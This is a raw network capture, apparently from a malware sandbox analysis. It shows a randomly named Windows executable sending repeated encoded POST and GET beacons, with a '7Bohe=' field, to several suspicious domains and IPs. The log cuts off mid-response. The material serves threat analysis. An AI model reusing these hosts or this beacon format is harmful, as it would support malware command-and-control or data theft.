Oct 24, 2024 15:20:30.652751923 CEST	734	OUT	POST /vhqd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.xueerr.xyz Origin: http://www.xueerr.xyz Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.xueerr.xyz/vhqd/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 62 71 78 68 4c 33 63 64 72 30 47 59 30 4d 67 4f 62 33 33 4a 73 66 59 68 73 31 78 76 4d 4d 66 73 70 51 58 77 36 2b 78 59 76 75 68 31 47 33 44 4d 41 74 50 6e 37 50 6b 76 4a 30 50 4d 36 47 67 6d 71 4d 30 31 65 41 65 61 38 34 34 51 65 68 6c 53 6d 57 34 77 76 61 44 73 77 4f 62 76 37 53 49 43 4c 5a 51 49 41 38 68 51 4c 46 4e 62 39 73 30 50 31 66 36 45 79 38 55 6f 6f 2f 34 78 30 56 63 65 36 43 6b 73 48 54 4b 30 2f 54 46 6f 6a 67 5a 35 30 30 33 72 58 73 2b 73 6a 30 7a 50 4c 78 65 6b 74 67 4d 69 46 6b 44 30 74 61 36 68 65 4c 5a 55 6a 55 75 65 6e 44 33 78 31 39 4a 78 44 44 6a 48 2f 67 33 52 31 75 41 3d Data Ascii: 7Bohe=bqxhL3cdr0GY0MgOb33JsfYhs1xvMMfspQXw6+xYvuh1G3DMAtPn7PkvJ0PM6GgmqM01eAea844QehlSmW4wvaDswObv7SICLZQIA8hQLFNb9s0P1f6Ey8Uoo/4x0Vce6CksHTK0/TFojgZ5003rXs+sj0zPLxektgMiFkD0ta6heLZUjUuenD3x19JxDDjH/g3R1uA=
Oct 24, 2024 15:20:31.602010965 CEST	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 24 Oct 2024 13:20:31 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50028	129.226.176.90	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:33.201466084 CEST	754	OUT	POST /vhqd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.xueerr.xyz Origin: http://www.xueerr.xyz Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.xueerr.xyz/vhqd/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 62 71 78 68 4c 33 63 64 72 30 47 59 31 73 51 4f 5a 55 66 4a 39 76 59 69 79 46 78 76 46 73 66 6f 70 58 66 77 36 36 70 49 76 63 46 31 44 6c 62 4d 42 73 50 6e 34 50 6b 76 42 55 50 46 2b 47 67 70 71 4d 77 58 65 43 61 61 38 37 45 51 65 6a 74 53 6d 6c 51 7a 70 4b 44 75 6c 65 62 68 2f 53 49 43 4c 5a 51 49 41 34 41 4e 4c 46 56 62 38 63 6b 50 31 2b 36 44 78 38 55 33 72 2f 34 78 77 56 63 61 36 43 6c 35 48 53 6d 4b 2f 52 4e 6f 6a 68 70 35 30 6c 33 30 64 73 2b 51 6e 30 7a 59 62 78 6a 55 69 47 4d 32 43 43 62 38 39 4c 65 45 62 39 30 2b 35 32 6d 32 30 6a 62 4a 6c 75 42 47 53 7a 43 75 6c 44 6e 68 72 35 58 56 39 42 77 41 48 69 33 35 69 72 33 61 57 30 32 63 69 45 7a 67 Data Ascii: 7Bohe=bqxhL3cdr0GY1sQOZUfJ9vYiyFxvFsfopXfw66pIvcF1DlbMBsPn4PkvBUPF+GgpqMwXeCaa87EQejtSmlQzpKDulebh/SICLZQIA4ANLFVb8ckP1+6Dx8U3r/4xwVca6Cl5HSmK/RNojhp50l30ds+Qn0zYbxjUiGM2CCb89LeEb90+52m20jbJluBGSzCulDnhr5XV9BwAHi35ir3aW02ciEzg
Oct 24, 2024 15:20:34.162050962 CEST	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 24 Oct 2024 13:20:34 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50029	129.226.176.90	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:35.748178959 CEST	1771	OUT	POST /vhqd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.xueerr.xyz Origin: http://www.xueerr.xyz Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.xueerr.xyz/vhqd/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 62 71 78 68 4c 33 63 64 72 30 47 59 31 73 51 4f 5a 55 66 4a 39 76 59 69 79 46 78 76 46 73 66 6f 70 58 66 77 36 36 70 49 76 63 4e 31 66 45 37 4d 42 50 6e 6e 35 50 6b 76 50 30 50 49 2b 47 67 77 71 49 63 54 65 43 57 77 38 2b 41 51 59 47 68 53 74 30 51 7a 6e 4b 44 75 36 75 62 73 37 53 49 62 4c 5a 42 42 41 38 6b 4e 4c 46 56 62 38 61 67 50 68 2f 36 44 39 63 55 6f 6f 2f 35 2b 30 56 63 32 36 47 4a 70 48 53 54 2f 2b 6c 35 6f 69 42 35 35 31 58 66 30 52 73 2b 6f 67 30 79 64 62 78 76 4c 69 47 34 41 43 43 47 6e 39 49 4f 45 62 4b 35 70 74 55 36 33 68 44 54 4a 76 75 39 6a 46 6d 37 4d 38 44 65 57 6f 61 6a 72 35 52 59 65 52 7a 7a 48 32 70 75 4e 41 44 79 56 69 79 76 75 68 6e 70 30 76 46 50 6f 47 6d 74 58 7a 30 48 53 73 79 45 47 65 48 77 35 55 41 6c 55 58 47 61 76 7a 2f 4e 42 75 65 34 33 65 78 61 6d 74 46 6f 78 79 4a 79 41 47 52 45 6d 41 38 6e 73 4c 4b 58 70 57 35 6f 4f 6d 35 59 67 50 31 33 51 44 6d 56 75 41 78 66 32 39 77 2b 77 5a 76 72 67 37 45 44 4b 4a 6a 69 70 49 71 66 77 48 52 72 4b 50 35 4d 58 [TRUNCATED] Data Ascii: 7Bohe=bqxhL3cdr0GY1sQOZUfJ9vYiyFxvFsfopXfw66pIvcN1fE7MBPnn5PkvP0PI+GgwqIcTeCWw8+AQYGhSt0QznKDu6ubs7SIbLZBBA8kNLFVb8agPh/6D9cUoo/5+0Vc26GJpHST/+l5oiB551Xf0Rs+og0ydbxvLiG4ACCGn9IOEbK5ptU63hDTJvu9jFm7M8DeWoajr5RYeRzzH2puNADyViyvuhnp0vFPoGmtXz0HSsyEGeHw5UAlUXGavz/NBue43examtFoxyJyAGREmA8nsLKXpW5oOm5YgP13QDmVuAxf29w+wZvrg7EDKJjipIqfwHRrKP5MXQTIM3ze0AZQBi6Qqko/CsP6dfN8oEg2ZENFBufB6k8MeGwaHdBjzcWBdKVChjxDiO5xAgQ441xMRZAnazCMnYHQ/R7Q6cj0uhOuT4Dirn6FY/vRhRuwH7bQUMl8HMwsVvdma5xDJ776ndrWdzMQO8gIwt9TiNRmq3PE7OnGx6pUEGOhkDnYJQmWWNR+XIJrJq33aytyiogsr/HYFm+Y9TwIzJSfcxglb0CbpdG2Uq4lMqhtniAvV+vn7m8/RD1PpCg9Pr8w+m85hoaLOt4bbWl/r1uNyC1VP1TFNedTDVyMZ571bq+WmmX/8TLuK6ty1cA+2w1vCxcPa09uwdx9hqwHKbYZa6tMWx8shjLbHIlok0aRTeclQjwLvlc9CTJNSIaBI3U5l3sgjQDC2u0cNANnsClq5iN85vBJp/IAcAMUr53MjPHpYPIoylQiuk9JpQDJwT4fi81r9nwhTZg/UQmKJagPaFZnAgnZt4MXcmdq4eOgbFj4/jjrdUWWgSKBmVlMegP8y/VOAp7lsdrmxBntAZBeCd5Jy7+UfLC5vtkwhOlnLhul/n8XOQz33xul2J6c8dU85wtVaa9Unn8iVvzrJyh/D18C6O2ZxJVtJz6pBu/yfpiGaQU0pXu/mzobNlPMAY3EK5osrPIfxJggjtFuzkVu7YIRA2T [TRUNCATED]
Oct 24, 2024 15:20:36.713831902 CEST	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 24 Oct 2024 13:20:36 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50030	129.226.176.90	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:38.291840076 CEST	480	OUT	GET /vhqd/?7Bohe=WoZBIA9oyl+J2b4VfTP9l9A782ZII/35uSr01551g8NzakXtA+Pa5+JAPkHp6kowgs8acnK71ZwIZDZByVYOuYH08N3N2lAmC4I9AOVCDFEu0aUC6s+F7cMMpoEI61JPvA==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.xueerr.xyz Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:20:39.252938032 CEST	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 24 Oct 2024 13:20:39 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50031	213.249.67.10	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:44.486295938 CEST	761	OUT	POST /z0t0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.onlineblikje.online Origin: http://www.onlineblikje.online Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.onlineblikje.online/z0t0/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 77 44 58 52 4e 65 32 63 49 72 2b 6b 72 61 68 43 42 70 69 68 65 44 6a 53 30 30 73 76 72 65 76 4e 68 57 67 6b 69 44 62 41 7a 61 52 73 72 79 4a 62 74 71 72 57 62 6e 7a 79 67 71 74 52 77 30 53 59 7a 39 57 38 71 6f 36 30 77 49 4e 50 33 54 69 6b 4b 4c 74 4a 38 78 34 46 78 46 68 6b 33 70 75 55 49 52 5a 4f 63 49 4a 69 50 62 43 51 67 66 43 30 55 77 2b 59 78 76 59 61 75 4f 47 4f 67 33 41 31 71 4f 73 70 63 49 65 72 78 49 43 37 78 57 76 6a 6c 33 62 58 65 70 75 77 73 73 4e 54 33 51 57 39 7a 58 57 41 59 54 63 35 50 34 37 34 55 54 51 61 6e 76 74 62 6c 59 38 53 59 54 6f 44 56 37 50 66 69 61 72 56 4f 6c 63 3d Data Ascii: 7Bohe=wDXRNe2cIr+krahCBpiheDjS00svrevNhWgkiDbAzaRsryJbtqrWbnzygqtRw0SYz9W8qo60wINP3TikKLtJ8x4FxFhk3puUIRZOcIJiPbCQgfC0Uw+YxvYauOGOg3A1qOspcIerxIC7xWvjl3bXepuwssNT3QW9zXWAYTc5P474UTQanvtblY8SYToDV7PfiarVOlc=
Oct 24, 2024 15:20:45.318584919 CEST	206	IN	HTTP/1.1 302 Found Date: Thu, 24 Oct 2024 13:20:45 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50032	213.249.67.10	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:47.026241064 CEST	781	OUT	POST /z0t0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.onlineblikje.online Origin: http://www.onlineblikje.online Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.onlineblikje.online/z0t0/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 77 44 58 52 4e 65 32 63 49 72 2b 6b 72 2f 70 43 44 49 69 68 66 6a 69 67 6f 6b 73 76 69 2b 76 4a 68 57 73 6b 69 43 66 51 7a 6f 6c 73 71 53 35 62 73 72 72 57 63 6e 7a 79 72 4b 74 4e 30 30 53 66 7a 39 4b 30 71 6f 47 30 77 49 5a 50 33 52 36 6b 4b 38 35 4b 75 52 34 44 33 46 68 6d 39 4a 75 55 49 52 5a 4f 63 4d 68 63 50 61 71 51 67 75 79 30 53 54 6d 62 33 66 59 64 74 4f 47 4f 6b 33 42 79 71 4f 74 5a 63 4a 44 4d 78 4c 36 37 78 58 66 6a 6c 6a 33 59 52 70 75 71 6a 4d 4d 55 78 42 58 30 38 55 61 32 61 52 6c 54 58 71 44 4b 59 46 39 77 39 4e 6c 7a 32 34 51 71 49 41 67 30 45 4c 75 32 34 35 37 6c 51 79 4a 59 6e 4a 78 67 45 64 75 57 50 39 61 6e 39 78 77 4c 42 66 34 5a Data Ascii: 7Bohe=wDXRNe2cIr+kr/pCDIihfjigoksvi+vJhWskiCfQzolsqS5bsrrWcnzyrKtN00Sfz9K0qoG0wIZP3R6kK85KuR4D3Fhm9JuUIRZOcMhcPaqQguy0STmb3fYdtOGOk3ByqOtZcJDMxL67xXfjlj3YRpuqjMMUxBX08Ua2aRlTXqDKYF9w9Nlz24QqIAg0ELu2457lQyJYnJxgEduWP9an9xwLBf4Z
Oct 24, 2024 15:20:47.869518995 CEST	206	IN	HTTP/1.1 302 Found Date: Thu, 24 Oct 2024 13:20:47 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50033	213.249.67.10	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:49.572637081 CEST	1798	OUT	POST /z0t0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.onlineblikje.online Origin: http://www.onlineblikje.online Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.onlineblikje.online/z0t0/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 77 44 58 52 4e 65 32 63 49 72 2b 6b 72 2f 70 43 44 49 69 68 66 6a 69 67 6f 6b 73 76 69 2b 76 4a 68 57 73 6b 69 43 66 51 7a 6f 64 73 71 68 78 62 74 49 7a 57 64 6e 7a 79 6f 4b 74 4f 30 30 54 44 7a 39 43 4f 71 6f 4b 6b 77 4b 68 50 33 79 79 6b 49 49 56 4b 33 68 34 44 36 6c 68 6c 33 70 75 42 49 52 4a 4b 63 49 46 63 50 61 71 51 67 74 36 30 56 41 2b 62 31 66 59 61 75 4f 48 42 67 33 42 57 71 50 45 68 63 49 33 32 79 36 61 37 77 33 50 6a 6d 57 62 59 63 70 75 30 33 73 4d 32 78 45 50 33 38 55 47 41 61 56 73 38 58 70 54 4b 61 51 55 59 36 2b 64 62 72 34 63 77 4a 69 34 4a 62 62 6d 6d 32 36 44 43 55 56 70 6f 6a 64 70 35 44 4e 48 56 4b 2b 6a 51 6a 6b 73 76 48 6f 4a 4d 35 31 56 51 66 42 61 70 39 4d 59 72 6b 66 69 65 38 48 58 79 53 78 6f 79 4e 49 54 33 6e 6b 63 7a 41 48 33 34 4f 4b 47 6e 62 64 2b 79 4e 78 79 76 2b 47 70 57 4e 56 50 67 69 7a 49 77 39 6a 2b 6b 4b 59 6a 67 6f 57 37 64 50 66 59 37 50 75 37 2b 38 77 72 76 62 36 34 68 73 49 46 37 35 54 2b 73 52 33 48 41 43 4a 66 56 55 2f 75 59 57 6a 4f 7a [TRUNCATED] Data Ascii: 7Bohe=wDXRNe2cIr+kr/pCDIihfjigoksvi+vJhWskiCfQzodsqhxbtIzWdnzyoKtO00TDz9COqoKkwKhP3yykIIVK3h4D6lhl3puBIRJKcIFcPaqQgt60VA+b1fYauOHBg3BWqPEhcI32y6a7w3PjmWbYcpu03sM2xEP38UGAaVs8XpTKaQUY6+dbr4cwJi4Jbbmm26DCUVpojdp5DNHVK+jQjksvHoJM51VQfBap9MYrkfie8HXySxoyNIT3nkczAH34OKGnbd+yNxyv+GpWNVPgizIw9j+kKYjgoW7dPfY7Pu7+8wrvb64hsIF75T+sR3HACJfVU/uYWjOzrucjf7pZbn1hZrlJQ6Am0cr6TXGpxfxoXrOhbgMmBubV9GylBwtbqQ3NW3PGERJh4Ogu+AecAOkGqh9eFEtBiCSDWmPgEQqa7Sn2EmjyixJviBS9+KMe07LVSLn1JJo9HlfiNpvbK+ayIErFN8RZhd9O5FT1hoVTSgmUc12eZmRMhq8SJ0rG4HcDt5DgzMUIZLfxOFrXbfYEiA0TZXr7t4N54o7uR/vT6fdWet+qPlrdb5mlCobt/czR1zKZI8BEcYyHG4eKfVXMrdE9Rq7RFsuXDwbbZzAPTIoLuDUx8yZGlrD6gEh4obF3KmNwW4vg2YAnPfp65VKEEBXU6DraaZLNm3OcU1gQ/adXDql8IL3rR7+b6p1da28yT+vZJYhjAX/OpbfFpSYZJZnKCXVkTo32Y+02YFR7jXHCSUhbpaOWU1eYcjhnhcwHBcOWMR+/cSeb4HLMwCEgKWhFvGpDO6A/z+SpN3yCuv/Q2YoQ4xeFSOnTZWlaLykdxRfXDSXyhnQSnsh7yqY/19adedonot3GEMNfnFm+zKR8ZRcSEoNdW08xhpfj3LstDawx/Fmb0poJryyIaBBLNb38Tc2grHU51KwrW3/jqGDVU5hNte+NpQ4x3j11PtL1lpYTQY7G1loJaBuzYt/Bxoj+Erx45XUzZ5GuzVMoGi [TRUNCATED]
Oct 24, 2024 15:20:50.406546116 CEST	206	IN	HTTP/1.1 302 Found Date: Thu, 24 Oct 2024 13:20:50 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50034	213.249.67.10	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:52.119189024 CEST	489	OUT	GET /z0t0/?7Bohe=9B/xOqaHJLGzhK9+asydflyTnlILmfDyrXYYsxrw44oQhSljsJ3AUyXQia4yxUul1qSv48mAxItuxzOnZ7dQ4iYj8ngc1biNZhlnUORZPI7XnMKBVwak16kasN63mT84/Q==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.onlineblikje.online Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:20:52.976507902 CEST	355	IN	HTTP/1.1 302 Found Date: Thu, 24 Oct 2024 13:20:52 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/?7Bohe=9B/xOqaHJLGzhK9+asydflyTnlILmfDyrXYYsxrw44oQhSljsJ3AUyXQia4yxUul1qSv48mAxItuxzOnZ7dQ4iYj8ngc1biNZhlnUORZPI7XnMKBVwak16kasN63mT84/Q==&vD=h0e85v Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50035	67.223.117.169	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:20:58.155334949 CEST	752	OUT	POST /3x2e/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.rtpsilva4d.click Origin: http://www.rtpsilva4d.click Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.rtpsilva4d.click/3x2e/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 47 7a 70 79 35 6d 55 44 30 4e 4d 2b 33 51 58 43 42 42 51 68 30 39 73 2f 41 6c 58 32 6c 73 43 76 6c 61 43 37 33 6f 38 33 63 73 6f 53 48 44 45 30 47 55 31 55 54 4f 4e 41 51 4a 69 66 79 39 4a 6b 75 66 34 44 54 69 4a 4c 57 73 72 7a 7a 37 39 43 70 59 55 7a 41 49 6a 67 52 52 70 65 34 35 6c 69 78 2f 62 72 4c 79 55 6f 58 4b 36 33 67 6d 2b 6a 62 5a 4c 52 53 54 6b 67 6c 4f 7a 30 39 55 6d 52 39 49 31 44 57 42 4f 58 52 59 76 6e 59 36 57 56 41 6c 37 63 68 70 55 61 59 63 52 2f 67 65 62 74 51 6d 65 31 76 32 4d 52 70 78 6f 6f 44 79 67 42 33 65 6f 51 44 63 72 59 64 73 67 6a 6a 76 51 7a 70 52 2f 64 69 69 67 3d Data Ascii: 7Bohe=Gzpy5mUD0NM+3QXCBBQh09s/AlX2lsCvlaC73o83csoSHDE0GU1UTONAQJify9Jkuf4DTiJLWsrzz79CpYUzAIjgRRpe45lix/brLyUoXK63gm+jbZLRSTkglOz09UmR9I1DWBOXRYvnY6WVAl7chpUaYcR/gebtQme1v2MRpxooDygB3eoQDcrYdsgjjvQzpR/diig=
Oct 24, 2024 15:20:58.821808100 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:20:58 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not 